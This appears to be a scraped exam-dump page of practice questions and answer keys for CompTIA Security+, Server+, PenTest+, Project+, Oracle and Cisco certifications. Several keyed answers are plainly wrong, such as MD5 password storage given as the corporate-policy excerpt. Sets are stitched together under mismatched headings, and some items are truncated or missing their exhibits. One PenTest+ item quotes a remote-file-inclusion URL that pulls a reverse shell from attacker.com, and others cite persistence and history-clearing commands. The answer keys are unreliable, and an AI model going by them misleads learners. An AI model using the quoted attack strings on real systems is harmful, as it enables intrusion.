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CompTIA Security+ is the first security certification IT professionals should earn. It establishes the core knowledge required of any cybersecurity role and provides a springboard to intermediate-level cybersecurity jobs.

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QUESTION 1
A mobile device user is concerned about geographic positioning information being included in messages sent between
users on a popular social network platform. The user turns off the functionality in the application, but wants to ensure the
application cannot re-enable the setting without the knowledge of the user.
Which of the following mobile device capabilities should the user disable to achieve the stated goal?
A. Device access control
B. Location based services
C. Application control
D. GEO-Tagging
Correct Answer: D


QUESTION 2
A security auditor is putting together a report for the Chief Executive Officer (CEO) on personnel security and its impact
on the security posture of the whole organization. Which of the following would be the MOST important factor to
consider when it comes to personnel security?
A. Insider threats
B. Privilege escalation
C. Hacktivist
D. Phishing through social media
E. Corporate espionage
Correct Answer: A


QUESTION 3
Two users need to send each other emails over unsecured channels. The system should support the principle of nonrepudiation. Which of the following should be used to sign the user\\’s certificates?
A.RA
B. CA
C. CRL
D. CSR
Correct Answer: B

QUESTION 4
A company\\’s user lockout policy is enabled after five unsuccessful login attempts. The help desk notices a user is
repeatedly locked out over the course of a workweek. Upon contacting the user, the help desk discovers the user is on
vacation and does not have network access. Which of the following types of attacks are MOST likely occurring? (Select
two.)
A. Replay
B. Rainbow tables
C. Brute force
D. Pass the hash
E. Dictionary
Correct Answer: CE


QUESTION 5
A bank is experiencing a DoS attack against an application designed to handle 500 IP-based sessions.
in addition, the perimeter router can only handle 1Gbps of traffic.
Which of the following should be implemented to prevent a DoS attacks in the future?
A. Deploy multiple web servers and implement a load balancer
B. Increase the capacity of the perimeter router to 10 Gbps
C. Install a firewall at the network to prevent all attacks
D. Use redundancy across all network devices and services
Correct Answer: D


QUESTION 6
A security analyst receives a notification from the IDS after working hours, indicating a spike in network traffic. Which of
the following BEST describes this type of IDS?
A. Anomaly-based
B. Stateful
C. Host-based
D. Signature-based
Correct Answer: A

QUESTION 7
A website administrator has received an alert from an application designed to check the integrity of the company\\’s
website. The alert indicated that the hash value for a particular MPEG file has changed. Upon further investigation, the
media appears to be the same as it was before the alert.
Which of the following methods has MOST likely been used?
A. Cryptography
B. Time of check/time of use
C. Man in the middle
D. Covert timing
E. Steganography
Correct Answer: E


QUESTION 8
Two users need to securely share encrypted files via email. Company policy prohibits users from sharing credentials or
exchanging encryption keys.
Which of the following can be implemented to enable users to share encrypted data while abiding by company policies?
A. Key escrow
B. Digital signatures
C. PKI
D. Hashing
Correct Answer: C


QUESTION 9
A company wants to ensure that the validity of publicly trusted certificates used by its web server can be determined
even during an extended internet outage. Which of the following should be implemented?
A. Recovery agent
B. Ocsp
C. Crl
D. Key escrow
Correct Answer: B

QUESTION 10
A security analyst is reviewing the following output from an IPS:

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Given this output, which of the following can be concluded? (Select two.)
A. The source IP of the attack is coming from 250.19.18.22.
B. The source IP of the attack is coming from 250.19.18.71.
C. The attacker sent a malformed IGAP packet, triggering the alert.
D. The attacker sent a malformed TCP packet, triggering the alert.
E. The TTL value is outside of the expected range, triggering the alert.
Correct Answer: BC

QUESTION 11
Which of the following is the proper order for logging a user into a system from the first step to the last step?
A. Identification, authentication, authorization
B. Identification, authorization, authentication
C. Authentication, identification, authorization
D. Authentication, identification, authorization
E. Authorization, identification, authentication
Correct Answer: A

QUESTION 12
A new mobile application is being developed in-house. Security reviews did not pick up any major flaws, however
vulnerability scanning results show fundamental issues at the very end of the project cycle.
Which of the following security activities should also have been performed to discover vulnerabilities earlier in the
lifecycle?
A. Architecture review
B. Risk assessment
C. Protocol analysis
D. Code review
Correct Answer: D

QUESTION 13
An application was recently compromised after some malformed data came in via web form. Which of the following
would MOST likely have prevented this?
A. Input validation
B. Proxy server
C. Stress testing
D. Encoding
Correct Answer: A

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CompTIA Server+ ensures pros have the skills to work in data centers or cloud environments

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QUESTION 1
Which of the following is BEST described as a storage system that can be connected to multiple servers through a fiber
channel?
A. JBOD
B. SAN
C. DAS
D. NAS
Correct Answer: B


QUESTION 2
A new server has two drives and a RAID controller. Which of the following is an option for configuring the storage on this
server?
A. RAID 0
B. RAID 5
C. RAID 6
D. RAID 10
Correct Answer: A


QUESTION 3
An administrator is decommissioning a company\\’s old accounting system and will be sending all the hardware to an offsite recycler. Which of the following is the BEST method for the administrator to ensure no company data will be
exposed before sending drives to the recycler?
A. Delete both the files and the folders from the hard drives, and then send them to the recycler
B. After logging out and powering down the server, send the drives to the recycler
C. Format all drives using the OS, and then send the drives to the recycler
D. Physically destroy the drives, and then send the drives to the recycler
Correct Answer: D


QUESTION 4
A user in the accounting department reports that print jobs are not printing. A user in the software development
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department also cannot print to the same printer, but can print to two other printers on different print servers. Which of
the following should be the administrator\\’s FIRST step?
A. Determine whether the server is out of virtual memory.
B. Check whether the print spooler service has started.
C. Reboot the print server.
D. Have the users reboot their workstations.
Correct Answer: B


QUESTION 5
A technician is asked to install an additional NIC in a server. Which of the following hardware considerations would be
BEST for the technician to make?
A. Power consumption
B. Bus type and speed
C. CPU stepping
D. CAS latency
Correct Answer: B


QUESTION 6
A systems administrator has performed a memory upgrade on a server. The server does not recognize the new
memory. Which of the following is the MOST likely cause?
A. The CPU does not support the upgraded amount of memory
B. The HDD firmware needs to be updated
C. The new memory was installed incorrectly
D. The original memory is defective
Correct Answer: A

QUESTION 7
A technician is configuring a new server on the network. The technician wants the server to be a default gateway for
network devices. Which of the following should the technician use to BEST provide the server with the proper IP
address?
A. A static IP address outside of the DHCP scope
B. A static IP address with a scope reservation
C. A dynamic IP address assigned by the DHCP server
D. An IP address that can be publicly routed
Correct Answer: B

QUESTION 8
A system administrator is asked to set up several physical file servers that have recently crashed due to a power failure.
Which of the following documents should the administrator refer to in order to complete this task?
A. Server configuration documentation
B. Network diagram
C. Asset management documentation
D. Dataflow diagram
Correct Answer: A

QUESTION 9
A blade chassis can hold 16 half-height blades or eight full-height blades. Which of the following is the MAXIMUM
number of half-height blades that can be installed in the chassis if six full-height blades are already installed?
A. 2
B. 4
C. 8
D. 16
Correct Answer: B

QUESTION 10
A system administrator is given a server with an existing OS installed and four empty SAS bays. The system
administrator is asked to set up a new data drive for testing with 100GB of data. For the best possible performance,
which of the following should the system administrator select for the data storage?
A. SCSI
B. SATA
C. Solid state drive
D. Flash drive
Correct Answer: C

QUESTION 11
A server administrator suspects that an unauthorized email relay agent is running on a web server. The web server has
a hostname of web1.example.com and an IP address of 199.90.89.51.
Which of the following commands should the server administrator execute to verify these suspicions?
A. telnet web1.example.com 25
B. telnet web1.example.com 23
C. telnet 199.90.89.51
D. telnet 199.90.89.51 80
Correct Answer: A

QUESTION 12
A technician needs to install an operating system patch on a virtual server. Which of the following backup types should
the technician perform prior to the patch installation that will allow the server to be restored the FASTEST?
A. Snapshot
B. Incremental
C. Differential
D. Full
Correct Answer: A

QUESTION 13
A blade server chassis has two power supplies. Which of the following is a benefit of a technician connecting each
power supply to a separate UPS unit?
A. Quality of service
B. Fault tolerance
C. Traffic shaping
D. Load balancing
Correct Answer: B

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QUESTION 1
A software developer wants to test the code of an application for vulnerabilities. Which of the following processes should
the software developer perform?
A. Vulnerability scan
B. Dynamic scan
C. Static scan
D. Compliance scan
Correct Answer: A

QUESTION 2
Which of the following is an example of a spear phishing attack?
A. Targeting an executive with an SMS attack
B. Targeting a specific team with an email attack
C. Targeting random users with a USB key drop
D. Targeting an organization with a watering hole attack
Correct Answer: A
Reference: https://www.comparitech.com/blog/information-security/spear-phishing/

QUESTION 3
A penetration tester has successfully exploited an application vulnerability and wants to remove the command history
from the Linux session. Which of the following will accomplish this successfully?
A. history –remove
B. cat history I clear
C. rm -f ./history
D. history -c
Correct Answer: D

QUESTION 4
A penetration tester locates a few unquoted service paths during an engagement. Which of the following can the tester
attempt to do with these?
A. Attempt to crack the service account passwords.
B. Attempt DLL hijacking attacks.
C. Attempt to locate weak file and folder permissions.
D. Attempt privilege escalation attacks.
Correct Answer: D

QUESTION 5
A company planned for and secured the budget to hire a consultant to perform a web application penetration test. Upon
discovered vulnerabilities, the company asked the consultant to perform the following tasks:
Code review Updates to firewall setting
A. Scope creep
B. Post-mortem review
C. Risk acceptance
D. Threat prevention
Correct Answer: D

QUESTION 6
Given the following Python script:
#1/usr/bin/python
import socket as skt
for port in range (1,1024):
try:
sox=skt.socket(skt.AF.INET,skt.SOCK_STREAM)
sox.settimeout(1000)
sox.connect ((`127.0.0.1\\’, port))
print `%d:OPEN\\’ % (port)
sox.close
except: continue
Which of the following is where the output will go?
A. To the screen
B. To a network server
C. To a file
D. To /dev/null
Correct Answer: A

QUESTION 7
During testing, a critical vulnerability is discovered on a client\\’s core server. Which of the following should be the NEXT
action?
A. Disable the network port of the affected service.
B. Complete all findings, and then submit them to the client.
C. Promptly alert the client with details of the finding.
D. Take the target offline so it cannot be exploited by an attacker.
Correct Answer: A

QUESTION 8
During an internal network penetration test, a tester recovers the NTLM password hash tor a user known to have full
administrator privileges on a number of target systems Efforts to crack the hash and recover the plaintext password
have been unsuccessful Which of the following would be the BEST target for continued exploitation efforts?
A. Operating system Windows 7 Open ports: 23, 161
B. Operating system Windows Server 2016 Open ports: 53, 5900
C. Operating system Windows 8 1 Open ports 445, 3389
D. Operating system Windows 8 Open ports 514, 3389
Correct Answer: C

QUESTION 9
An email sent from the Chief Executive Officer (CEO) to the Chief Financial Officer (CFO) states a wire transfer is
needed to pay a new vendor. Neither is aware of the vendor, and the CEO denies ever sending the email. Which of the following types of motivation was used m this attack?
A. Principle of fear
B. Principle of authority
C. Principle of scarcity
D. Principle of likeness
E. Principle of social proof
Correct Answer: B

QUESTION 10
A penetration tester has compromised a Windows server and is attempting to achieve persistence. Which of the
following would achieve that goal?
A. schtasks.exe /create/tr “powershell.exe” Sv.ps1 /run
B. net session server | dsquery -user | net use c$
C. powershell andand set-executionpolicy unrestricted
D. reg save HKLM\System\CurrentControlSet\Services\Sv.reg
Correct Answer: D

QUESTION 11
While monitoring WAF logs, a security analyst discovers a successful attack against the following URL:
https://example.com/index.php?Phone=http://attacker.com/badstuffhappens/revshell.php
Which of the following remediation steps should be taken to prevent this type of attack?
A. Implement a blacklist.
B. Block URL redirections.
C. Double URL encode the parameters.
D. Stop external calls from the application.
Correct Answer: B

QUESTION 12
A penetration tester has performed a security assessment for a startup firm. The report lists a total of ten vulnerabilities,
with five identified as critical. The client does not have the resources to immediately remediate all vulnerabilities. Under such circumstances, which of the following would be the BEST suggestion for the client?
A. Apply easy compensating controls for critical vulnerabilities to minimize the risk, and then reprioritize remediation.
B. Identify the issues that can be remediated most quickly and address them first.
C. Implement the least impactful of the critical vulnerabilities\\’ remediations first, and then address other critical
vulnerabilities
D. Fix the most critical vulnerability first, even if it means fixing the other vulnerabilities may take a very long lime.
Correct Answer: D

QUESTION 13
Which of the following excerpts would come from a corporate policy?
A. Employee passwords must contain a minimum of eight characters, with one being alphanumeric.
B. The help desk can be reached at 800-passwd1 to perform password resets.
C. Employees must use strong passwords for accessing corporate assets.
D. The corporate systems must store passwords using the MD5 hashing algorithm.
Correct Answer: D

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QUESTION 1
A project team has determined it will need to source data from a system that was not part of the project scope.
The role of the project manager is to analyze which of the following impacts?
A. Technical design, schedule, and budget
B. Business process impacts and resourcing
C. New software and hardware requirements
D. Schedule, budget, and quality
Correct Answer: C

QUESTION 2
Which of the following is a characteristics of a matrix organization?
A. Authority lies solely with the project manager.
B. Authority is directed by the project architect.
C. Authority is shared between the project manager and project coordinator.
D. Authority is shared between functional and project managers.
Correct Answer: D
References: Kim Heldman, CompTIA Project+ Study Guide, 2nd Edition, Sybex, Indianapolis, 2017, p. 56

QUESTION 3
The executive sponsor asks a project manager to summarize the following for a project:
1.
Final capital expenditures.
2.
Anticipated cost of new employee resources to support the solution.
3.
Maintenance estimates.
Which of the following information should the project manager provide?
A. Cost baseline
B. Burn rate
C. Cost variance report
D. Total project cost
Correct Answer: A

QUESTION 4
Which of the following is a reason for assessing risk in a project?
A. To identify new tasks
B. To shorten the project timeline
C. To avoid rework
D. To establish a budget
Correct Answer: C
 

QUESTION 5
A project in the execution phase is over budget, and tasks on the critical path are on schedule. Which of the following
should the project manager do NEXT?
A. Update the project management plan.
B. Issue a change request.
C. Revise the project charter.
D. Evaluate the impact to the baseline.
Correct Answer: D

QUESTION 6
A project has a of $850,000. The project manager has identified and documented that certain key applications were not
included in the scope management plan. As reported, the CPI is 0.8, and the PMO allows only a 5% additional
increment to the planned budget. Which of the following should the project manager do NEXT?
A. Add the required work to complete the project behind $892,500.
B. Evaluate the impact and justify adding new work to the project.
C. Obtain approval from the CCB.
D. Request a budget increase of $170,000.
Correct Answer: C

QUESTION 7
Two team members completely disagree on how to complete a specific task. The project manager observes the conflict
but takes no immediate action. Which of the following techniques is the project manager using?
A. Compromising
B. Smoothing
C. Withdrawing
D. Accepting
Correct Answer: C
References: Kim Heldman, CompTIA Project+ Study Guide, 2nd Edition, Sybex, Indianapolis, 2017, p. 200

QUESTION 8
An agreement document that is intended to prevent two or more organizations from sharing specific, confidential
information with anyone but each other is called:
A. an RFP.
B. an NDA.
C. an SLA.
D. an MOU.
Correct Answer: B
References: Kim Heldman, CompTIA Project+ Study Guide, 2nd Edition, Sybex, Indianapolis, 2017, p. 302

QUESTION 9
Which of the following is a team-building stage that involves the team learning to trust one another\\’s abilities and begin
working together as a productive group?
A. Norming
B. Forming
C. Storming
D. Performing
Correct Answer: A
Norming is where things begin to calm down. Team members know each other fairly well by now. They\\’re comfortable
with their positions in the team, and they begin to deal with project problems instead of people problems. “Decisions are
made jointly at this stage, and team members “exhibit mutual respect and familiarity with one another.

QUESTION 10
A team member learns that an assigned task is not due until the very end of the project. Moreover, the team member is
not aware of any predecessor tasks dependent on completing the assigned task. Which of the following does the project
manager use to decide if the team member can start the task later or earlier?
A. Review the PERT chart and evaluate if the task is a critical dependency.
B. Review the PERT chart and evaluate if the task is a discretionary dependency.
C. Review the PERT chart and evaluate if the task is a real dependency.
D. Review the PERT chart and evaluate if the task is an external dependency.
Correct Answer: B
References http://www.pmgloss.com/comptia/

QUESTION 11
A department manager asks a project manager about the status of a project that has only a few employees from the
department assigned to it. Which of the following were MOST likely missed during project planning?
A. Issue log and process diagram
B. Resource analysis and Gantt chart
C. Stakeholder analysis and communication plan
D. Scatter chart and scope analysis
Correct Answer: B

QUESTION 12
A critical stakeholder has requested additional status updated beyond the schedule.
Which of the following factors MOST likely needs to be accounted for when communicating with this stakeholder?
A. Confidentiality
B. Criticality
C. Frequency
D. Cultural differences
Correct Answer: C
References: Kim Heldman, CompTIA Project+ Study Guide, 2nd Edition, Sybex, Indianapolis, 2017, p. 265

QUESTION 13
The key stakeholders have reported the project pace as being slow. The project sponsor would like to cancel the project
if it cannot be completed before the end of the year. The project is scheduled to be completed three months after the
requested date.
To alter the pace of the project, which of the following should the project manager do FIRST?
A. Give approval for the change requested by the project sponsor.
B. Deny the request from the project sponsor.
C. Document the change request from the project sponsor.
D. Ask the project sponsor to change the request.
Correct Answer: C

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Oracle 1Z0-516 Exam

Exam candidates who score a passing grade on the Oracle E-Business Suite 12.1 General Ledger Essentials (1Z0-516) exam will be recognized as Oracle E-Business Suite 12 Financial Management Certified Implementation Specialists: Oracle General Ledger. This certification qualifies as competency criteria for the Oracle E-Business Suite Financial Management Specialization.

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Latest Oracle 1Z0-516 Exam questions online

QUESTION 1
Jane is the financial controller of ABC Corporation. ABC Corporation has three legal entities: ABC East, ABC West, and
ABC South. She was advised by the Oracle General Ledger consultant that there is no need for any balancing segment
values to be assigned to the legal entities or ledgers. She is worried as to which values will be available for transactions
and journal entries. Identify the right option in the given scenario.
A. All balancing segment values will be available to enter transactions and journal entries.
B. No balancing segment values will be available to enter transactions and journal entries.
C. ABC East and ABC West balancing segment values will be available to enter transactions and journal entries.
D. ABC East and ABC South balancing segment values will be available to enter transactions and journal entries.
E. ABC South and ABC West balancing segment values will be available to enter transactions and journal entries.
Correct Answer: A

QUESTION 2
A debit memo reversal must be utilized to reverse the receipt if_____ .
A. Receipt is a non-invoice-related receipt
B. Receipt has an open claim associated with it
C. Receipt has been reconciled in Cash Management
D. Receipt has a remitted credit card refund application
Correct Answer: D

QUESTION 3
Identify three types of activities that are captured in Administration logs. (Choose three.)
A. creation of configuration objects
B. modification of Commerce process objects
C. deployment of configuration product families
D. creation of data tables
E. migrations with the site as target
F. uploading of files in File Manager
Correct Answer: BCE

QUESTION 4
When designing an integration with an ERP system, you must communicate with a third party integration tool (such as a
middleware or a hub).
Which three methods can be used to communicate with a middleware in this scenario? (Choose three.)
A. Automated FTP
B. DataCube Reporting
C. urldata function call in a Commerce Advanced Modification BML function
D. Commerce Integration Cloud Service Integration on an Action
E. Formula Management
F. Send XML on a Transition Rule via Real Time Integration
G. Commerce Integration XSLs on an Action
Correct Answer: CDF

QUESTION 5
A global company uses Oracle E-Business Suite Release 12 for its operations in the U.S. and Canada. The company is
now adding Mexico to the Oracle E-Business Suite Release 12 Applications. As a system administrator, you need to
set
the MO: Operating Unit profile option for Mexico. Customer is not using Multi-Org Access Control. You set the MO:
Operating Unit profile option at the _____ level.
A. Site
B. User
C. Application
D. Responsibility
Correct Answer: D

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QUESTION 1
How can you inject a target web service into an EJB?
A. Define service as an injectable resource by using the declaration.
B. Use a HandlerChain.
C. Use a java.xml.ws.WebServiceRef annotation.
D. Use a java.xml.ws.WebServiceContext annotation.
Correct Answer: A

QUESTION 2
Given:

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You are creating an Alarm management system. When you create a new alarm, you want it to create an alert that is
triggered once at the specified time. Which method should you call on Line 9 to create the timer?
A. timerService.createCalendarTimer(alarmDate, config);
B. timerService.createSingleActionTimer(alarmDate, config);
C. timerService.createIntervalTimer(alarmDate, -l, config);
D. timerService.createTimer(alarmDate, -l, config);
Correct Answer: D
Reference: https://docs.oracle.com/javaee/6/api/javax/ejb/TimerService.html

QUESTION 3
You need to develop a chat application, which allows the display of emoticons and images together with text messages.
How should you configure a WebSocket endpoints to receive both text and binary messages?
A. Create two @onMessage methods in the same endpoint with appropriate parameter types.
B. Define the @onMessage methods in your endpoint with Object as parameter and check the actual type in your code.
C. You can achieve this only by creating separate WebSocket endpoints for each message type.
D. Create two @onMessage methods, each with appropriate decoder attribute in the same endpoint.
Correct Answer: D
Reference: https://abhirockzz.gitbooks.io/java-websocket-api-handbook/content/Receiving%20Messages.html

QUESTION 4
Reorder quantities for an item subinventory are calculated using Fixed Lot Multiple and Round Order Quantity. Assume
that the reorder quantity is 24 and you specify 10 for the fixed lot multiple and enable rounding the reorder quantity.
What will be the reorder quantity?
A. 30
B. 20
C. 24
D. 25
Correct Answer: A

QUESTION 5
What are the four steps for the move request process flow?
A. Create shipment
B. Create Movement Request
C. Confirm pick slips
D. Run the Movement Request Pick Slip Report
E. Physically move the material
F. Run pick slip allocation
Correct Answer: BCDE

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Oracle Cost Management Cloud 2018 Implementation Essentials 1Z0-1024 exam is one of the important exams of Oracle certifications.

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QUESTION 1
Which three predefined areas can you review on the Overview page of Cost Accounting? (Choose three.)
A. Purchase Variance Summary
B. Journal Entries
C. Item Costs
D. Cost Processing
E. Work Order Costs
F. Inventory Valuation
Correct Answer: CDF

QUESTION 2
Your client wants their expense items to be accrued at receipt.
Which two configurations support this requirement? (Choose two.)
A. Product Information Management > Search and select item > Specifications > Manufacturing > Verify that Inventory
Asset Value is set to “No”.
B. Manage Common Options for Payables and Procurement > Select the business unit > Expense Accruals > Set
Accrue Expense Items to At Receipt.
C. Product Information Management > Search and select the expense item > Specifications > Manufacturing > Verify
that Inventory Asset Value is set to “Yes”.
D. Manage Common Options for Payables and Procurement > Select the business unit > Expense Accruals > Set
Accrue Expense Items to Period End.
E. Configure Procurement Business Function > Select the business unit > Set Select Receipt Close Point to Accrue at
Period End.
F. Configure Procurement Business Function > Select the business unit > Set Select Receipt Close Point to Accrue at
At Receipt.
Correct Answer: EF

QUESTION 3
Identify two reference types used to tie a receipt trade operation to an expense invoice for landing. (Choose two.)
A. Shipment number
B. Bill of Landing
C. Internal requisition number
D. Expense invoice number
E. Receipt number
Correct Answer: AC

QUESTION 4
A manager has decided to close the period by not allowing any new transactions, except for corrections and
adjustments, which can happen any time before the period is closed permanently.
Which cost period status will allow the system to perform the transaction?
A. Never Opened
B. Open
C. Closed
D. Permanently
E. Close Pending
Correct Answer: C

QUESTION 5
After “Cost Accounting Processor” has processed the physical inventory classification of transactions, which transaction
types will it process next?
A. In-transit
B. Cost of Goods Sold
C. Adjustments
D. Retro-reprice
E. Overhead
Correct Answer: E

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QUESTION 1
Which Layer 2 protocol encapsulation type supports synchronous and asynchronous circuits and has built-in security
mechanisms?
A. HDLC
B. PPP
C. X.25
D. Frame Relay
Correct Answer: B
PPP: Provides router-to-router and host-to-network connections over synchronous and asynchronous circuits. PPP was
designed to work with several network layer protocols, including IP. PPP also has built-in security mechanisms, such as
Password Authentication Protocol (PAP) and Challenge Handshake Authentication Protocol (CHAP).

QUESTION 2
An administrator has connected devices to a switch and, for security reasons, wants the dynamically learned MAC
addresses from the address table added to the running configuration. Which action must be taken to accomplish this?
A. Use theno switchport port-securitycommand to allow MAC addresses to be added to the configuration.
B. Enable port security and use the keywordsticky.
C. Set the switchport mode to trunk and save the running configuration.
D. Use theswitchport protectedcommand to have the MAC addresses added to the configuration.
Correct Answer: B

QUESTION 3
How can you manually configure a switch so that it is selected as the root Switch?
A. increase the priority number
B. lower the port priority number
C. lower the priority number
D. increase the port priority number
Correct Answer: C

QUESTION 4
Which two benefits of implementing a full-mesh WAN topology are true?(Choose two)
A. increased latency
B. redundancy
C. improved scalability
D. reliability
E. reduced itter
Correct Answer: BD

QUESTION 5
Which three commands are required to enable NTP authentication on a Cisco router? (Choose three)
A. ntp peer
B. ntp max-associations
C. ntp authenticate
D. ntp trusted-key
E. ntp authentication-key
F. ntp refclock
Correct Answer: CDE
Explanation: http://blog.ine.com/2007/12/28/how-does-ntp-authentication-work/

QUESTION 6
Which command can you enter to verify that a router is synced with a configures time source?
A. show ntp authenticate
B. ntp associations
C. ntp server time
D. ntp authenticate
E. show ntp associations
Correct Answer: E

QUESTION 7
When a router is unable to find a known route in the routing table, how does it handle the packet?
A. It discards the packet
B. It sends the packet over the route with the best metric
C. It sends the packet to the next hop address
D. It sends the packet to the gateway of last resort
Correct Answer: A

QUESTION 8
Which three values can be included in the routing table of a router? (Choose three)
A. classful and classless destination addresses
B. source interfaces
C. Routgoing interfaces
D. source IP addresses
E. next hop IP address
F. destination IP addresses
Correct Answer: CDF

QUESTION 9
Which subnet mask would be appropriate for a network address range to be subnetted for up to eight LANs, with each
LAN containing 5 to 26 hosts?
A. 0.0.0.240
B. 255.255.255.252
C. 255.255.255.0
D. 255.255.255.224
E. 255.255.255.240
Correct Answer: D
For a class C network, a mask of 255.255.255.224 will allow for up to 8 networks with 32 IP addresses each (30
usable).

QUESTION 10
Which statement about unicast frame forwarding on a switch is true?
A. The TCAM table stores destination MAC addresses
B. If the destination MAC address is unknown, the frame is flooded to every port that is configured in the same VLAN
except on the port that it was received on.
C. The CAM table is used to determine whether traffic is permitted or denied on a switch
D. The source address is used to determine the switch port to which a frame is forwarded
Correct Answer: B

QUESTION 11
Which RFC was created to alleviate the depletion of IPv4 public addresses?
A. RFC 4193
B. RFC 1519
C. RFC 1518
D. RFC 1918
Correct Answer: D

QUESTION 12
Which benefit of implementing a dual-homed WAN connection instead of a single homed connection is true?
A. Only dual-homed connections support recursive routing
B. Only dual-homed connections support split horizon with EIGRP
C. Only dual-homed connections enable an individual router to tolerate the loss of a network link
D. Only dual-homed connections support OSPF in conjunction with BGP
Correct Answer: C

QUESTION 13
Which three are the components of SNMP? (Choose three)
A. MIB
B. SNMP Manager
C. SysLog Server
D. SNMP Agent
E. Set
Correct Answer: ABD
SNMP is an application-layer protocol that provides a message format for communication between SNMP managers
and agents. SNMP provides a standardized framework and a common language used for the monitoring and
management
of devices in a network.
The SNMP framework has three parts:
+
An SNMP manager
+
An SNMP agent
+
A Management Information Base (MIB)
The SNMP manager is the system used to control and monitor the activities of network hosts using SNMP. The most
common managing system is called a Network Management System (NMS). The term NMS can be applied to either a
dedicated device used for network management, or the applications used on such a device. A variety of network
management applications are available for use with SNMP. These features range from simple command-line
applications to feature-rich graphical user interfaces (such as the CiscoWorks2000 line of products).
The SNMP agent is the software component within the managed device that maintains the data for the device and
reports these data, as needed, to managing systems. The agent and MIB reside on the routing device (router, access
server, or switch). To enable the SNMP agent on a Cisco routing device, you must define the relationship between the
manager and the agent.
The Management Information Base (MIB) is a virtual information storage area for network management information,
which consists of collections of managed objects.

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Cisco 300-206 Online Exam Practice Questions

QUESTION 1
What is the lowest combination of ASA model and license providing 1 Gigabit Ethernet interfaces?
A. ASA 5505 with failover license option
B. ASA 5510 Security+ license option
C. ASA 5520 with any license option
D. ASA 5540 with AnyConnect Essentials License option
Correct Answer: B

 

QUESTION 2
Which option is a different type of secondary VLAN?
A. Transparent
B. Promiscuous
C. Virtual
D. Community
Correct Answer: D

 

QUESTION 3
What is the best description of a unified ACL on a Cisco Firewall
A. An Ipv4 ACL with Ipv4 support
B. An ACL the support EtherType in additional Ipv6
C. An ACL with both Ipv4 and Ipv6 functionality
D. An Ipv6 ACL with Ipv4 backward compatitiblity
Correct Answer: C
http://www.cisco.com/c/en/us/td/docs/security/asa/asa90/configuration/guide/asa_90_cli_config/intro_intro.htmlpass4itsure 300-206 exam question q3

 

QUESTION 4
Choose two correct statements about private-vlan.
A. Interface that is assigned to primary-vlan ID (access mode) can communicate with interface with secondary vlan ID
that belongs to same primary-vlan (same switch)
B. Interface that is assigned to community vlan can communicate with interface in the same secondary vlan but it is also
configured as protected (same switch)
C. You have to configure dhcp snooping for both primary and secondary VLANs
D. You have to configure DAI only for primary vlan
E. You cannot combine private-vlan feature with protected ports ?
Correct Answer: DE
You can enable DHCP snooping on private VLANs. When you enable DHCP snooping on the primary VLAN, it is
propagated to the secondary VLANs. If you configure DHCP snooping on a secondary VLAN, the configuration does not
take
effect if the primary VLAN is already configured. The same statement is true about DAI.
A private-VLAN port cannot be a secure port and should not be configured as a protected port.

 

QUESTION 5
What are Options of capture command
A. host
B. real-time
C. type
Correct Answer: BC
real-time, type, interface,buffer, match, packet-lenght,trace,circular-buffer, ethernet-type,acces-list, headers-only

 

QUESTION 6
Which command is the first that you enter to check whether or not ASDM is installed on the ASA?
A. Show ip
B. Show running-config asdm
C. Show running-config boot
D. Show version
E. Show route
Correct Answer: Dpass4itsure 300-206 exam question q6

 

QUESTION 7pass4itsure 300-206 exam question q7

Which two option are protocol and tools are used by management plane when using cisco ASA general management
plane hardening ?
A. Unicast Reverse Path Forwarding
B. NetFlow
C. Routing Protocol Authentication
D. Threat detection
E. Syslog
F. ICMP unreachables
G. Cisco URL Filtering
Correct Answer: BE
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QUESTION 8
CSM (or Prime Infra) Dashboardspass4itsure 300-206 exam question q8

Correct Answer:
Top Destinations –This report ranks the session destinations of all built/deny firewall events received by Security
Manager. The report shows the destination IP address, the count of the number of events for each address, and the
percentage
of the count compared to the sum of all counts in the report. You can click on a data point in the Pie, XY, or Bar graph
that represents a specific destination to see report information about the top sources and top services associated with
that
destination (see Drilling Down into Report Data).
Top Sources –This report ranks the session sources of all built/deny firewall events received by Security Manager. The
report shows the source IP address, the count of the number of events for each address, and the percentage of the
count
compared to the sum of all counts in the report. You can click on a data point in the Pie, XY, or Bar graph that
represents a specific source to see report information about the top destinations and top services associated with that
source (see
Drilling Down into Report Data).
Top Services –This report ranks the destination services of all built/deny firewall events received by Security Manager.
TCP and UDP services include the port number. The report shows the service, the count of the number of events for
each
service, and the percentage of the count compared to the sum of all counts in the report. You can click on a data point in
the Pie, XY, or Bar graph that represents a specific service to see report information about the top destinations and top
sources associated with that service (see Drilling Down into Report Data).
Top Infected Hosts –This report ranks the top infected hosts for traffic originating from infected hosts to black- or gray-
listed sites based on all botnet events received by Security Manager. The report shows the IP address of the infected
host
with the firewall interface name on which the event was detected in parentheses, the count of the number of
connections logged to blacklisted or gray-listed sites for each address, the count of the number of connections that were
blocked
(dropped) by botnet traffic filtering, and the percentage of the count compared to the sum of all counts in the report.
Top Malware Ports –This report ranks the top destination ports for traffic originating from infected hosts to black or gray-
listed sites based on all botnet events received by Security Manager. The report shows the destination malware port,
the
count of the number of connections logged to blacklisted or gray-listed sites for each port, the count of the number of
connections that were blocked (dropped) by botnet traffic filtering, and the percentage of the count compared to the sum
of
all counts in the report.
Top Malware Sites –This report ranks the top botnet sites (black or gray-listed sites) for all inbound and outbound
sessions based on all botnet events received by Security Manager. The report shows the following information:
IP Address–The IP address that is indicated as the malicious host in botnet events, either on the black list or the grey
list.
Malware Site–The domain name or IP address in the dynamic filter database to which the traffic was initiated.
List Type–Whether the site is on the black list or the grey list. Connections Logged–The count of the number of
connections logged or monitored for each site. Connections Blocked–The count of the number of connections that were
blocked
(dropped) by botnet traffic filtering for each site. Threat Level–The botnet threat level for the site, from very low to very
high, or none. Category–The category of threat the site poses as defined in the botnet database, such as botnet,
Trojan,
spyware, and so on.
VPN dashboards
Top Bandwidth Users –This report ranks the VPN users who consumed the most bandwidth. The report shows the
usernames, the bandwidth in total number of bytes sent and received, and the percentage of reported bandwidth used
by
each user.
Top Duration Users –This report ranks the VPN users who remained connected to the network for the longest time. The
report shows the usernames, the connection duration time in days hours:minutes:seconds format, and the percentage
of
the reported duration by each user.
The chart shows duration in seconds.
Top Throughput Users –This report ranks the VPN users who sent and received data at the highest throughput rate.
The report shows the usernames, the throughput for each user in kbps, and the percentage of reported throughput by
each
user. The throughput is calculated as 8.0 *(bandwidth of the user in bytes)/(duration for which the user is connected in
seconds*1000.0).
Connection Profile Report –This report provides a count of user, session, and summary of the bandwidth utilization and
throughput usage for each remote access connection profile. The default report contains this information for all devices
for the previous hour. You can customize the report in several different ways.
User Report –This report provides a summary of the bandwidth utilization, connection duration and throughput usage
